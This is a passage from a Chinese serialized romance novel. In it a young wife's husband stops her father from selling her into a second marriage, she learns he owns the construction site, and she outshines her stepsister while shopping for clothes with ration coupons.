他又往前凑了凑,“再说了,你年轻,身体好,回去还能给我生个胖儿子。我亏不了你。” 苏念橙胃里一阵翻涌,恶心得想吐。 她往后退了一步,看着眼前这两个人,只觉得从头凉到脚。 这是她亲爹。 她亲爹明知自己结婚了,还要把她卖给别的男人。 “不可能。”她一字一顿,“我死也不会嫁给他。” 苏国强脸一黑,“你敢?” “我有什么不敢的?”苏念橙看着他,“你是我爹,你把我当什么?货物?你卖了我一次不够,还想卖第二次?” 苏国强扬起手,又要打她。 苏念橙躲开,转身往外冲。 门口,苏荷雨站在那里,挡住了去路。 “姐,”她叹了口气,一副痛心疾首的样子,“你别这样。爸也是为你好。那个干工地的有什么好?跟着他能有什么出息?” “岳老板不一样,人家是包工头,有钱有门路。你跟了他,以后吃穿不愁,不比现在强?” 苏念橙看着她那张假惺惺的脸,恨不得扇她一巴掌,“是吗?竟然这么好你怎么不嫁给他?” 话音刚落,苏荷雨脸绿了绿,“姐,你在胡说什么呢。” 苏念橙不想过多纠缠,冷声道:“让开。” 苏荷雨没动,“姐,你别任性。爸都安排好了,你就——” “我说,让开。” 苏荷雨还是没动,脸上带着笑,眼里却满是得意。 苏念橙攥紧拳头,指甲掐进掌心。 就在这时,身后传来一声冷笑。 “安排好了?” 低沉的声音,带着寒意。 苏念橙猛地回头。 越靳临站在门口。 他脸上没什么表情,但那双眼眸黑沉沉的,像结了冰,此刻周身的气场冷寂无比。 他看着屋里那三个人,一步一步走进来。 苏国强愣了一下,下意识往后退了半步。 岳老板脸上的笑也僵住了,他偏头询问:“这是谁?” 越靳临走到苏念橙身边,牵起她的手。 她的手冰凉,还在发抖。 他握紧了些。 “我是念橙的丈夫。你又是谁?” 岳老板看着这个比自己高了半个头的俊俏男人,不免觉得自己被比下去了。 “她爹要她跟你离婚,从今往后跟我,至于你你最好识趣些。” 越靳临将苏念橙护身后,他冷下脸,冷呵道:“哦?是吗?我怎么不知道我媳妇儿要跟我离婚?” 苏国强这个时候站出来,他咽咽口水,连他自己都不知道为什么会有些惧怕眼前这个男人。 “我是他爹,我说了算。” 苏念橙握紧那双大手,此时却有了莫大的勇气,她噙着泪,“你真是我亲爹吗?谁家亲爹把亲女儿往火坑里推?有时候我真想把您的心拨开看看,到底是黑心还是无心的!” 闻言,苏国强被气到,他指着苏念橙的鼻子骂道:“你这个没良心的!我生你,养你,你就是这么报答我的?” “如果你不是压着母亲的遗物,我这辈子都不想认您当爹!” 苏国上扬手就要扇人,却被越靳临擒住。 “岳父,您是真不把我这个女婿放眼里了?” 苏国强被越靳临攥着手腕,脸涨得通红,却还在嘴硬。 “放屁!你算什么东西?一个干工地的,凭什么管我家的事?” 越靳临松开手,黑眸沉了沉。 “我是没什么本事。”他说,“但肯定不会让念橙受委屈。该给的彩礼,我一分不会少。但岳母的遗物,你今天必须还回来。” 苏国强愣了一下,随即冷笑,“彩礼?你一个干苦力的,能拿出几个钱?” 越靳临没接这话,只是从口袋里掏出张纸,递过去。 “这是清单。东西在哪儿?” 苏国强低头看了一眼,还是那张清单。 他脸上闪过一丝不自然,“那些东西……在家里收着,没带来。” “那就回去拿。”越靳临说,“三天时间,已经过了。” 苏国强被他那眼神看得有点发毛,但还是梗着脖子说,“你少拿这眼神看我!现在是法制社会,你还能怎么着?” 越靳临看着他,忽然笑了一下。 那笑意不达眼底,反倒让人后背发凉。 “法制社会,”他慢慢说,“你也知道是法制社会?拐卖妇女,是什么罪,你知道吗?” 苏国强愣住了。 岳老板脸色也变了,“你胡说什么?谁拐卖了?我们是正经相亲——” “相亲?”越靳临看向他,“她已婚,你不知道?” 岳老板张了张嘴,说不出话来。 苏国强急了,“你别血口喷人!我是她爹,我让她离婚再嫁,怎么了?” 越靳临没理他,只是看着苏念橙。 她站在他身后,低着头,肩膀轻轻发抖。 他握住她的手,低声说:“别怕。” 苏念橙抬起头,眼眶红红的,但没哭。 她看着他,小声说:“我没事。” 越靳临心里像被什么压了下,软绵绵的。 他忍不住揉了揉她的绒毛,“嗯。” 苏国强还想说什么,岳老板扯了扯他的袖子,“算了算了,走吧。” 苏国强挣了一下,“走什么走?我就不信他敢——” “走吧!”岳老板压低声音,“别惹事。” 他拽着苏国强往外走,路过越靳临时,偷偷打量了他一眼。 那眼神,说不清是忌惮还是别的什么。 两人出了诊所,苏荷雨还站在门口,脸上带着笑,一副和事佬的样子。 “爸,岳叔叔,你们别生气。姐夫也是一时心急,说话冲了点。”她看向越靳临,“姐夫,你也别往心里去。爸就是担心姐姐,想给她找个好人家。你别怪他。” 越靳临看都没看她一眼。 他低头看着苏念橙,声音放轻了些,“没事吧?” 苏念橙摇摇头。 苏荷雨脸上的笑僵了一下,咬了咬嘴唇,没再说话,转身跟着苏国强他们走了。 诊所里安静下来。 吴大夫站在旁边,大气不敢喘。 刚才那一幕他全看见了,这会儿才敢开口。 “嫂子,你……你没事吧?” 第二十五章 媳妇儿要被卖了 苏念橙摇摇头,“没事,谢谢吴大夫。” 吴大夫张了张嘴,想说什么,又咽回去。 最后只憋出一句,“那个……越哥,要不要喝口水?” 越靳临摇摇头,“不用。你忙你的。” 吴大夫点点头,识趣地退到一边。 苏念橙这才抬起头,看着他,“你怎么回来了?” 越靳临低头看她,眼里带了点笑意。 “再不回来,”他说,“媳妇儿就要被人卖了。” 苏念橙愣了一下,脸腾地红了。 她低下头,小声嘟囔,“谁是你媳妇儿……” “你。”越靳临说,“街道办盖了章的,不认账?” 苏念橙脸更红了,耳尖都烫得厉害。 她支支吾吾道:“我没有…” 越靳临看着她那副又羞又窘的样子,嘴角弯了弯。 “是吴大夫给我工地打的电话。”他说,“说你被人带进诊所,半天没出来。” 苏念橙愣了一下,看向吴大夫。 吴大夫赶紧摆手,“嫂子别误会!我就是看那两人不像好人,怕你出事,就给越哥工地打了个电话。” 苏念橙心里一暖,“谢谢吴大夫。” “不客气不客气。”吴大夫笑着,“越哥平时帮了我不少,这点小事应该的。” 苏念橙收回目光,看向越靳临,“那你快回去上班吧,别耽误工作。” 越靳临摇摇头,“不碍事。” “怎么不碍事?”苏念橙急了,“你出来这么久,工头不会说你吗?” 越靳临看着她,眼神有点复杂。 “不会。”他说,“我跟工头熟。” 苏念橙愣了一下,想起他上次也说过类似的话。 跟老板熟,跟工头熟,跟吴大夫也熟。 他怎么跟谁都熟? 她脑子里闪过一个念头,但没来得及细想,就被他打断了。 “饿不饿?”他问。 苏念橙摇摇头,“不饿。” “那也吃点。”他说,“带你去个地方。” 苏念橙眨眨眼,“去哪儿?” “蒋毅明的饭馆。”越靳临牵着她往外走,“上次不是答应去吃饭吗?今天正好有空。” 苏念橙想起那天在办公室,蒋毅明热情地邀请他们去饭馆吃饭。 她点点头,“好。” 两人跟吴大夫道别,出了诊所。 摩托车就停在门口,越靳临跨上车,苏念橙坐到他身后,轻轻搂住他的腰。 摩托车发动,往另一个方向开去。 蒋毅明的饭馆离得不远,骑车十来分钟就到。 一间不大的门面,门口挂着个木牌,写着“毅明饭馆”四个字。 这会儿正是饭点,里头坐了几桌人,热热闹闹的。 越靳临停好车,牵着苏念橙往里走。 刚进门,就听见蒋毅明的声音。 “哟!越哥!嫂子!” 他从厨房里探出头来,系着围裙,手里还拿着锅铲,笑得眼睛眯成一条缝。 “快坐快坐!今天怎么有空来?” 越靳临找了张靠窗的桌子,让苏念橙坐下,自己在旁边坐下。 “带念橙来吃饭。”他说,“有什么好吃的?” 蒋毅明凑过来,“嫂子想吃什么?尽管点!今天我请客!” 苏念橙赶紧摆手,“不用不用,我们自己付钱——” “嫂子这就见外了!”蒋毅明打断她,“越哥跟我是从小一块儿长大的兄弟,他带媳妇儿来吃饭,我哪能收钱?” 越靳临看了他一眼,“收钱。” 蒋毅明愣了一下,随即笑起来,“行行行,收钱收钱。那嫂子想吃什么?” 苏念橙看向越靳临,他点点头,“点吧,想吃什么点什么。” 她想了想,“红烧排骨?” 蒋毅明眼睛一亮,“好嘞!嫂子有眼光,我这儿红烧排骨可是一绝!再来个什么?炒青菜?西红柿蛋汤?” 苏念橙点点头,“好。” “行!等着,马上就好!” 蒋毅明钻进厨房,不一会儿就传来炒菜的声音。 苏念橙坐在桌边,看着窗外的街景。 阳光正好,把街上的人和车都镀上一层金黄。 她忽然想起刚才在诊所的事,心里还有点后怕。 如果越靳临没来,会怎么样? 她不敢想。 “想什么呢?”旁边传来低沉的声音。 苏念橙回过神,看向越靳临。 他正看着她,那双眼眸黑沉沉的,像能看透人心。 她摇摇头,“没什么。” 越靳临没追问,只是倒了杯水递给她,“喝点水。” 苏念橙接过杯子,小口小口地喝。 温热的水顺着喉咙流下去,心里那点凉意慢慢散了。 她放下杯子,看着他,“越靳临。” “嗯?” “你……”她顿了顿,“你刚才说的那些话,是真的吗?” 越靳临看着她,“哪些话?” “就是……”她咬了咬嘴唇,“说不会让我受委屈那些。” 越靳临沉默了两秒。 “真的。”他说。 苏念橙心里一暖,眼眶有点酸。 她低下头,盯着杯子里的水,小声说,“谢谢你。” 虽然她不知道为什么越靳临对她这么好,但是至少没有恶意。 越靳临看着她低垂的睫毛,忽然伸手,摸了摸她的头。 “又说谢谢。”他说。 苏念橙愣了一下,抬起头。 他眼里带着笑意,嘴角微微弯着。 她忽然觉得心跳快了几拍,脸又红了。 就在这时,蒋毅明端着菜出来了。 “来咯——红烧排骨!” 他把盘子放到桌上,油亮亮的排骨冒着热气,香味直往鼻子里钻。 苏念橙咽了咽口水,“好香。” 蒋毅明得意地笑,“那可不!嫂子快尝尝!” 苏念橙夹了一块,咬了一口。 肉炖得软烂,酱香浓郁,入口即化。 “好吃!”她眼睛亮起来。 蒋毅明乐了,“嫂子会吃!越哥,你也尝尝?” 越靳临夹了一块,点点头,“嗯。” 蒋毅明撇撇嘴,“还是一个字。” 苏念橙忍不住笑了。 越靳临盯着女人浅浅的梨涡,不由地嘴角上扬,“好吃总行了吧?” “哟,今天咱越哥多夸两字。”蒋毅明笑着说。 越靳临瞥了他一眼,“快去忙你的,后边不挺多人排着?” “得嘞,你和嫂子慢慢吃,有事儿叫我。” 苏念橙点点头,“好!毅明哥你去忙吧。” 话落,蒋毅明就回去了。 苏念橙抬眸盯着对面的男人,小声问:“越靳临,你为什么对我好?” 第二十六章 想对你好 越靳临看着她,那双黑沉沉的眼睛里映着她小小的影子。 “想对你好。”他说。 苏念橙愣住了。 这算什么回答? 越靳临夹了块排骨放到她碗里,“多吃点。” 苏念橙低头看着碗里的排骨,心里像被什么东西轻轻撞了一下,软软的,麻麻的。 “哦。”她点点头,小声说,“好。” 她夹起排骨咬了一口,没敢抬头看他。 两人吃完,越靳临去付钱。 蒋毅明推辞了半天,最后还是收了。 “越哥,下回还带嫂子来啊!”他站在门口喊。 越靳临点点头,牵着苏念橙上了摩托车,然后回家。 接下来的几天,苏念橙在家安心养伤。 伤口好得差不多了,缝针的地方也不疼了,走路干活都没问题。 第四天,她终于忍不住了。 “我好了。”她站在厨房门口,对正在做早饭的越靳临说,“今天能去上班了吧?” 越靳临回头看了她一眼,目光在她手上停了停。 “真好了?” “真好了。”苏念橙把手伸给他看,“你看,都结痂了,不疼了。” 越靳临看了看,点点头,“行,今天跟我去。” 苏念橙眼睛一亮,“真的?” “嗯。”他把粥端到桌上,“吃完饭就走。” 苏念橙高兴得差点跳起来,坐到桌边埋头吃饭。 吃完饭,两人出门。 摩托车还是停楼下,苏念橙坐上去,搂住他的腰。 风呼呼地吹,她把脸埋在他背上,心里踏实得很。 到了工地,越靳临停好车,牵着她往里走。 苏念橙以为要去那间熟悉的办公室,可他没往那边拐,而是带着她走向另一排简易房。 “到了。”他推开一扇门。 苏念橙往里一看,愣住了。 一间不大的屋子,收拾得干干净净。 靠墙摆着张新桌子,桌上放着台灯和笔筒,还有一摞书。 “这是……”她看向越靳临。 “你的办公室。”他说。 苏念橙眨眨眼,“我的办公室?” “嗯。”他走进去,拉开椅子,“以后你在这儿办公。” 苏念橙站在门口,有点懵。 “可文静姐那边……”她想起周文静,她们一起干活多好啊。 越靳临回头看她,“你不一样。” 苏念橙愣了一下,“不一样?哪儿不一样?” 越靳临没回答,只是说,“以后就知道了。” 苏念橙还想问什么,他已经转身往外走了。 “好好干活,中午我来找你吃饭。” 门关上了。 苏念橙站在空荡荡的办公室里,满脑子问号。 不一样? 哪儿不一样? 她坐到椅子上,看着那张崭新的桌子,心里疑惑得很。 坐了没一会儿,她站起来,推门出去。 隔壁就是周文静的办公室,门虚掩着。 她敲了敲门。 “进来。” 苏念橙推门进去,周文静正趴在桌上写字,看见她眼睛一亮。 “哟,嫂子来啦!伤好了?” 苏念橙点点头,“好了,谢谢文静姐。” 她犹豫了一下,还是开口问,“文静姐,我想问你个事。” “什么事?说!” 苏念橙咬了咬嘴唇,“你……认识工地的老板吗?” 周文静愣了一下,随即笑起来,“认识啊,怎么不认识?” 苏念橙眼睛亮了,“真的?那老板是什么人?” 周文静看着她,笑得意味深长,“嫂子,你不知道?” 苏念橙摇摇头,“不知道。” 周文静放下笔,撑着下巴看她,“越哥不就是吗?” 苏念橙愣住了。 “什么?” 周文静眨眨眼,“这个工地就是越哥的啊。你不知道?” 苏念橙脑子里嗡的一声。 越靳临? 工地的老板? 周文静看着她那副样子,忍不住笑了,“嫂子,你不会真以为越哥就是个干工地的吧?” 苏念橙机械地点点头,“他……他不是说自己在工地干活吗?” “是干活啊。”周文静说,“但他不是工人,他是老板。这个工地是他包的,那几栋楼是他盖的。还有啊,这附近一片,都是他的地盘。” 苏念橙彻底愣住了。 她想起那天在诊所,越靳临说那些门面是他的。 原来是这样。 原来他不是干工地的,他是老板。 周文静看着她,笑着说,“越哥这人吧,从小就有本事。他家住军区大院,祖辈都是开国功勋。到了他这儿,他不当兵,读了大学就出来干工地,说要建什么房地产。” “嫂子,你是不知道。这附近几栋楼,都是越哥盖的。还有那些门面,也是他的。月底你可以跟着越哥去收租,当包租婆,多好啊。” 苏念橙听得一愣一愣的。 包租婆? 她? 她低下头,看着自己洗得发白的衬衫,忽然觉得有点不真实。 这么厉害的人,怎么就娶了她? 还是她认错人娶的。 她心里五味杂陈。 “嫂子?”周文静叫她。 苏念橙回过神,“啊?” “想什么呢?”周文静笑眯眯地看着她。 苏念橙摇摇头,“没什么。谢谢文静姐,我先回去干活了。” “行,去吧。” 苏念橙出了门,回到自己的办公室。 坐到椅子上,她盯着那摞书,脑子里天马行空。 越靳临这么有钱,她以后怎么还? 她咬咬嘴唇,心里堵得慌。 可转念一想,她和越靳临本来就是协议结婚,他愿意对她好,是他的事。 她不能想太多。 她深吸一口气,翻开桌上的书,开始干活。 时间过得快,一转眼就到了中午。 门被推开,越靳临站在门口。 “吃饭了。”他说。 苏念橙抬起头,看着他。 阳光将他俊俏的脸庞折射更加模棱。 她忽然觉得,他好像比刚认识的时候更好看了。 “愣着干嘛?”他走过来,“走,吃饭。” 苏念橙回过神,站起来跟着他往外走。 两人在工地食堂吃了饭,越靳临送她回了家。 回到家,她坐到桌边翻开书,却怎么也看不进去。 脑子里全是越靳临。 她摇摇头,使劲盯着书上的字。 不想了不想了。 看书看书。 工地这边,越靳临忙完一圈,回到工棚办公室。 老张正蹲在门口抽烟,看见他过来,眼睛一亮。 “哟,越工!”他站起来,“摩托车开得挺顺啊?” 第二十七章 别怕,我在 越靳临嗯了一声,走进办公室。 老张跟进来,在他旁边坐下,“结了婚就是不一样啊,天天接送媳妇儿。” 越靳临没接话,翻着手里的图纸。 老张又凑过来,“越工,既然都结婚了,孩子的事也该早点打算吧?” 越靳临手顿了顿,抬头看他。 老张嘿嘿笑着,“我这是关心你。你看你年纪也不小了,该当爹了。” 越靳临放下图纸,微挑眉头,“我奶都没催我,你还催上了?” “你奶那是疼你。”老张说,“我是替你着急。娶了媳妇儿,不得赶紧生个大胖小子?” 越靳临没理他,低头继续看图纸。 老张自讨没趣,讪讪地走了。 办公室里安静下来。 越靳临盯着手里的图纸,脑子里却想起苏念橙刚才看他的那个眼神。 愣愣的,亮亮的,像只小兔子。 他嘴角微微弯了弯。 孩子? 不急。 先把人养胖了再说。 正出神时,办公室的电话响起来了。 越靳临接起来,那头传来老太太中气十足的声音。 “靳临啊,是我。” 他温声回应“奶奶。” “还知道叫我奶奶?”老太太声音拔高了些,“这都多少天了?你娶了媳妇儿就不打算带回来给我看看了?” 越靳临沉默了两秒,“最近忙。” “忙忙忙,你就知道忙。”老太太哼了一声,“我不管,这周末你必须把人带回来。我鸡都杀好了,就等着见孙媳妇儿呢。” 越靳临想起苏念橙那张总是红扑扑的脸,嘴角微微弯了弯,“行,这周末回去。” “这还差不多。”老太太满意了,“对了,那姑娘爱吃啥?我好提前准备。” “她什么都吃。”越靳临顿了顿,“不挑食。” “那就好养活。”老太太笑了,“行了,你忙吧。记得周末啊,别放我鸽子。” “好,一定。” 挂了电话,越靳临坐回椅子上。 他想了想,拉开抽屉,里头整整齐齐摞着一叠布票。 攒了挺久的,本来没想好怎么用。 现在有地方用了。 小丫头那几件衣服都洗得发白了,袖口磨得毛边,他看着都替她觉得冷。 他把布票揣进口袋,合上抽屉。 下午的活不多,他提前一会儿下了班。 先去国营饭店打包了两个菜,红烧肉和糖醋排骨,又买了两个白面馒头,这才骑着摩托车往家走。 天已经擦黑了,胡同里亮起几盏昏黄的灯。 他推开门,屋里静悄悄的。 厨房没开灯,客厅也没人。 他往楼上看了一眼,二楼的门虚掩着,透出一点光。 他轻手轻脚上楼,推开那扇门。 苏念橙趴在书桌上,睡着了。 桌上摊着书和本子,手里的笔还握着,墨水滴在本子上,洇开一小块。 她侧着脸,睫毛又长又密,在脸上投下一小片阴影。 呼吸轻轻的,胸口微微起伏。 越靳临站在门口,没动。 屋里只亮着一盏台灯,昏黄的光笼着她,把她整个人都照得软软的。 他忽然想起老张白天说的话。 孩子的事。 他摇摇头,把那念头甩开。 他在想什么? 这丫头还小着呢。 他轻轻走过去,把手里的东西放下,拿了件挂在椅背上的外套,给她披上。 外套刚搭到她肩上,她忽然皱了皱眉。 嘴里嘟囔了一句什么,听不清。 越靳临弯下腰,凑近了些。 “妈……别走……” 她声音细细的,带着点哭腔,“别丢下我……” 越靳临眉头皱起来。 他看见她睫毛颤了颤,眼角渗出一滴泪,顺着脸颊滑下来。 做噩梦了。 他蹲下来,看着她。 “别怕。”他低声说,“我在。” 他的手轻轻覆上她的肩,隔着外套,能感觉到她微微发抖。 “没事了。” 苏念橙猛地睁开眼睛。 她愣愣地看着眼前那张脸,好一会儿才反应过来自己在哪里。 “越……越靳临?” 她声音哑哑的,眼眶还红着。 越靳临没动,只是看着她,“做噩梦了?” 苏念橙愣了一下,想起刚才梦里的情景。 妈站在她面前,笑着朝她招手。 她跑过去,想抱住她,可怎么也跑不到跟前。 妈越来越远,越来越模糊,最后不见了。 她心里一酸,低下头,“嗯。” 越靳临伸手,用拇指抹掉她脸上的泪痕。 动作很轻,怕弄疼她似的。 “梦都是反的。”他说,“别怕。” 苏念橙抬起头,看着他。 台灯的光从他背后照过来,把他棱角分明的脸照得格外清晰。 让她莫名的安心,她点点头,“嗯,谢谢你。” 越靳临嘴角微微弯了弯,“又说谢谢。” 苏念橙愣了一下,忍不住笑了。 “那……那我不说了。” 越靳临站起来,朝她伸出手,“起来,吃饭了。” 苏念橙把手递给他,他握住,把她拉起来。 两人下楼,越靳临把打包的饭菜摊开在桌上。 红烧肉,糖醋排骨,还有两个白面馒头。 苏念橙眼睛亮了,“你买的?” “嗯。”越靳临把筷子递给她,“趁热吃。” 苏念橙接过筷子,夹了块排骨。 肉炖得软烂,酸甜适口。 “好吃。”她说。 越靳临在她对面坐下,也拿起筷子。 两人吃了一会儿,越靳临忽然开口。 “我奶奶想见你。” 苏念橙筷子顿了顿,抬头看他。 “啊?” 越靳临看着她,“周末,跟我回趟大院。她想见见你。” 苏念橙愣住了。 回大院?见他奶奶? 她低下头,盯着碗里的饭,心里有点慌。 “我……”她咬了咬嘴唇,“我去合适吗?” 越靳临看着她,“怎么不合适?” “我……”她不知道该怎么说。 她跟他本来就是协议结婚,见家长这种事…… 越靳临放下筷子,看着她。 “念橙。”他叫她的名字。 苏念橙抬起头。 “你是我媳妇儿。”他说,“合法的,怎么不合适?” 好像是这么一回事儿。 她没反驳,只是弱弱问:“你奶奶会喜欢我吗? “你很好,我奶奶当然会喜欢你。”越靳临又说,“就想见见你。你愿不愿意跟我回去?” 愿不愿意。 他没让她必须去,而是问她愿不愿意。 苏念橙心里一暖。 她点点头,“好。” 第二十八章 买衣服 越靳临嘴角弯了弯,“那就说定了。周末回去。” 苏念橙嗯了一声,低头继续吃饭。 吃着吃着,她又抬起头。 “那个……”她犹豫了一下,“奶奶喜欢什么?我是不是该买点东西?” 越靳临看着她,“不用。” “那怎么行?”苏念橙急了,“第一次见长辈,怎么能空手去?” 越靳临想了想,“那买点水果吧。她爱吃橘子。” 苏念橙点点头,在心里记下。 吃完饭,两人在客厅里听新闻,收音机里正在放着最新的新闻趣事,苏念橙正听的津津有味。 越靳临忽然想起什么,从口袋里掏出那叠布票,放到桌上。 “明天带你去买几件衣服。” 苏念橙手顿了顿,回头看他,“买衣服?” “嗯。”他说,“你衣服太单薄了。天渐渐冷了,得多穿点。” 苏念橙看着他,心里像被什么东西塞得满满的。 她低下头,小声说,“我有衣服……” “不够。”越靳临走过来,把布票往她手里塞,“拿着,明天去看看。喜欢什么买什么。” 苏念橙看着手里那叠厚厚的布票,眼眶有点酸。 她想起以前在村里,冬天最冷的时候,她只有一件旧棉袄,还是苏荷雨穿剩下的。 那时候她想,要是能有一件新棉袄就好了。 现在…… 她抬起头,看着越靳临。 他站在她面前,低头看着她,眼里带着笑意。 “别又想说谢谢。”他说。 苏念橙愣了一下,忍不住笑了。 “好。”她点点头,“不说了。” 她把布票小心地收好,心里暖暖的。 “那明天几点去呀?” “你想什么时候去?”越靳临淡淡道。 苏念橙认真思考了下,“我都可以。” “那就中午吃完饭去。” “好。” 翌日中午,苏念橙吃完饭,跟着越靳临去了供销社。 这会儿正是人多的时候,柜台前挤着好些人,都是来买布的。 苏念橙站在门口,有点不知所措。 越靳临牵着她往里走,“别愣着,进去看看。” 供销社刚进了一批新衣服,挂在最显眼的位置。 的确良的料子,有碎花的,有素色的,看着就洋气。 苏念橙的目光落在一件碎花裙上。 白底,粉色的小碎花,领口缀着细细的荷叶边。 真好看。 她忍不住多看了两眼。 越靳临顺着她的目光看过去,“喜欢那件?” 苏念橙赶紧摇头,“没有没有,就是看看。” 越靳临走过去对售货员说,“同志,那件碎花的,拿下来看看。” 售货员看了他一眼,把裙子取下来递过来,“三号尺码,试试?” 越靳临接过裙子,递给苏念橙,“去试试。” 苏念橙捧着那件裙子,手心都有点出汗。 她这辈子没穿过这么好看的衣服。 “快去。”越靳临催她。 苏念橙点点头,钻进试衣间。 裙子穿上身,刚刚好。 她站在镜子前,看着里头那个人,有点不敢认。 腰身收得恰到好处,裙摆在膝盖下面一点,露出细细的小腿。 她转了个身,裙角轻轻飘起来。 “怎么样了?”外头传来越靳临的声音。 苏念橙深吸一口气,掀开帘子走出来。 越靳临站在柜台边,听见动静抬起头。 他愣住了。 阳光从窗户照进来,落在她身上。 她穿着那件碎花裙,站在那里,脸红红的,眼睛亮亮的,像画上走下来的人。 “好……好看吗?”苏念橙被他看得有点紧张,手指揪着裙边。 越靳临喉结动了动,“好看。” 就两个字,但语气跟平时不一样。 苏念橙脸更红了,低下头不敢看他。 售货员在旁边笑着说,“这裙子你穿真合适,就跟量身定做的一样。再配双小皮鞋,更好看。” 越靳临回过神来,“皮鞋在哪儿?” “那边。”售货员指了指。 越靳临牵着苏念橙过去,在鞋柜前停下。 他扫了一眼,拿起一双白色的小皮鞋,“试试这双。” 苏念橙接过来坐下,把脚上的布鞋脱了,套上那双皮鞋。 鞋子有点紧,她弯下腰想把鞋扣系好,却够不太着。 刚想使劲,眼前忽然一暗。 越靳临蹲了下来。 他低着头,大手捏着鞋扣,仔细给她系好。 动作很轻,生怕弄疼她似的。 苏念橙愣住了。 她看着他低垂的眉眼,心跳忽然快了几拍。 “好了。”他系好一只,又去系另一只。 两只都系好,他抬起头,“紧不紧?” 苏念橙摇摇头,声音小小的,“不紧。” 越靳临站起来,看着她,“站起来走两步试试。” 苏念橙站起来,走了两步。 皮鞋有点硬,但挺舒服的。 “好看。”他说。 旁边忽然传来一个年轻姑娘的声音,“你看人家小两口,多甜蜜啊。” 另一个姑娘笑着附和,“就是就是,人家男人还蹲下来给系鞋带呢。你看你,就知道站着。” 苏念橙脸腾地红了,低下头不敢看人。 越靳临嘴角微微弯了弯,对那俩姑娘点点头,然后看向售货员,“这两样要了。还有没有别的款式?” 售货员笑得眼睛眯成一条缝,“有有有,这边还有几件新款。” 她又拿了几件过来,的确良的衬衫,藏青色的裤子,还有一件薄外套。 苏念橙一件件试过去,越靳临一件件点头。 “这件要了。” “这件也要了。” “那件也包起来。” 苏念橙急了,“够了够了,买太多了。” 越靳临看着她,“不够。” 他从口袋里掏出那叠布票,数都没数,直接递给售货员。 苏念橙看着那厚厚一叠,心里又暖又有点过意不去。 她扯了扯他的袖子,“真的够了,别买了。” 越靳临低头看她,“再挑一件。挑完就走。” 苏念橙拗不过他,只好点点头,“那……就一件。” 她转身看向挂着的衣服,杏眸扫过一排排衣架。 忽然,她停住了。 最里头挂着一件红色的裙子,正红色,料子看着就滑溜,领口绣着几朵小花。 真好看。 她走过去,伸手想拿。 另一只手同时伸了过来,也搭在那件裙子上。 第二十九章 她不想让 苏念橙愣了一下,抬起头。 苏荷雨站在对面,正笑盈盈地看着她。 “姐,真巧啊。” 苏念橙收回手,脸上没什么表情,“巧。” 苏荷雨的目光越过她,落在她身后那堆大包小包上,眼里闪过一丝妒意。 “姐,你这是买衣服?”她笑得甜滋滋的,“买这么多,姐夫真舍得。” 越靳临走过来,站在苏念橙身边,没说话。 苏荷雨身后,何钧礼也跟了过来。 他看见越靳临手里那堆东西,眉头皱了皱。 苏荷雨笑着开口,“姐,这红裙子不错。我刚看上了,想买呢。” 苏念橙看着她,“我也看上了。” 苏荷雨愣了一下,脸上的笑僵了一瞬,“姐,你不会跟我抢吧?这裙子多适合我啊。你皮肤黑,穿红色不好看。” 苏念橙攥紧拳头,深吸一口气,“我皮肤不黑。” 苏荷雨眨眨眼,“姐你别误会,我不是那个意思。就是觉得你穿素色的更好看。这红裙子,还是让我买吧。” 她伸手想去拿裙子。 苏念橙往前一步,挡在她面前,“凭什么?” 换作以往,她大概就此作罢。 但是如今,她不想委屈自己,成全他人。 喜欢的东西,就要去争的。 苏荷雨愣住了。 苏念橙看着她,一字一顿,“我先看到的,凭什么让给你?” 苏荷雨脸上的笑彻底僵住了。 她咬了咬嘴唇,眼眶红了,“姐,你怎么能这样……” 何钧礼皱了皱眉,看向苏念橙,“苏念橙,你闹够了没有?一件裙子,至于吗?” 苏念橙冷笑一声,“至于。她抢我东西不是一回两回了,这回我不让。” “你——”何钧礼脸色沉下来。 越靳临黑眸暗了暗,漫不经心开口:“女孩子的事,你个大男人插什么嘴?” 一旁的买衣服的几个人听后,不由地嗤笑一声。 何钧礼脸都绿了,但是又觉得并无道理,只好干瞪眼。 售货员见状赶紧过来打圆场,“两位同志别吵了。这裙子是限量款,就这一件。谁买都行,要不你们商量商量?” 苏荷雨抹了抹眼角,“同志,我先看上的。” 苏念橙看着她,“我也看上了。” 售货员为难地看看这个,又看看那个。 苏荷雨忽然想起什么,眼睛一亮,“同志,这裙子要多少布票?” 售货员翻了翻本子,“二十尺。” 苏荷雨得意地笑了,从口袋里掏出一叠布票,“我有。姐,你们有吗?” 她看向苏念橙,眼里满是得意。 苏念橙愣住了。 二十尺,她确实没带那么多。 她下意识看向越靳临。 越靳临没说话,从口袋里掏出那叠布票,放到柜台上。 “够不够?” 售货员低头数了数,眼睛瞪大了,“够、够了。五十八尺。” 苏荷雨脸上的笑僵住了。 何钧礼脸色也变了,盯着那叠布票,“你哪来这么多布票?” 越靳临没理他,伸手拿起那条红裙子,递给苏念橙。 “拿着。” 苏念橙接过裙子,心里又暖又解气。 苏荷雨咬着嘴唇,眼眶红红的,“你——你们欺人太甚!” 何钧礼脸涨得通红,“苏念橙,你为了条裙子,连脸都不要了?” 苏念橙看着他,忽然笑了。 “何钧礼,你耳朵聋了吗?人家店员姐姐都说了,票高者得,公平公正着呢,我怎么就不要脸了?” 何钧礼被怼的哑口无言。 苏念橙收回目光,看向越靳临,“我们走吧。” 越靳临点点头,拎起那堆东西,牵着她往外走。 走到门口,苏念橙忽然停下脚步。 她回过头,看着苏荷雨和何钧礼,笑了笑。 “对了,忘了告诉你们。这裙子,我明天就穿上。你们要是想看,来工地找我。” 说完,她转身就走。 苏荷雨站在原地,脸都绿了。 何钧礼盯着那两个人的背影,攥紧拳头,指甲掐进掌心。 可恶。 那个男人到底什么来路,竟然有这么多布票。 苏荷雨立马落泪,委屈极了,“钧礼,他们简直欺人太甚…” 何钧礼将她搂进怀里,安抚她,“没事了,以后我们加倍讨回来。” 出了供销社,苏念橙忍不住笑出声来。 “你看见她那张脸了吗?”她仰着头看越靳临,眼睛亮亮的,“太好笑了。” 越靳临低头看她,嘴角弯了弯。 “高兴了?” 苏念橙用力点头,“高兴!” 她低头看看手里的红裙子,又看看他那叠布票,心里还是过意不去。 “那个……花了你那么多布票,我以后还你。” 越靳临脚步顿了顿,“不用。” “那怎么行?”苏念橙急了,“你对我够好了,我不能——” “我是男人,也用不了什么布票。” 苏念橙闻言就说,“男人也需要衣服呀,你成天穿那几件工装,也该买两件新的。” 越靳临脚步顿了顿,低头看她。 她仰着脸,眼睛亮亮的,说这话的时候一本正经。 他心里软了一下,“真没事。那些布票放着也是放着,给你花正合适。” 苏念橙低下头,看着手里的红裙子,小声说,“那……那好吧。” 越靳临嘴角弯了弯,“嗯。走吧,回家。” 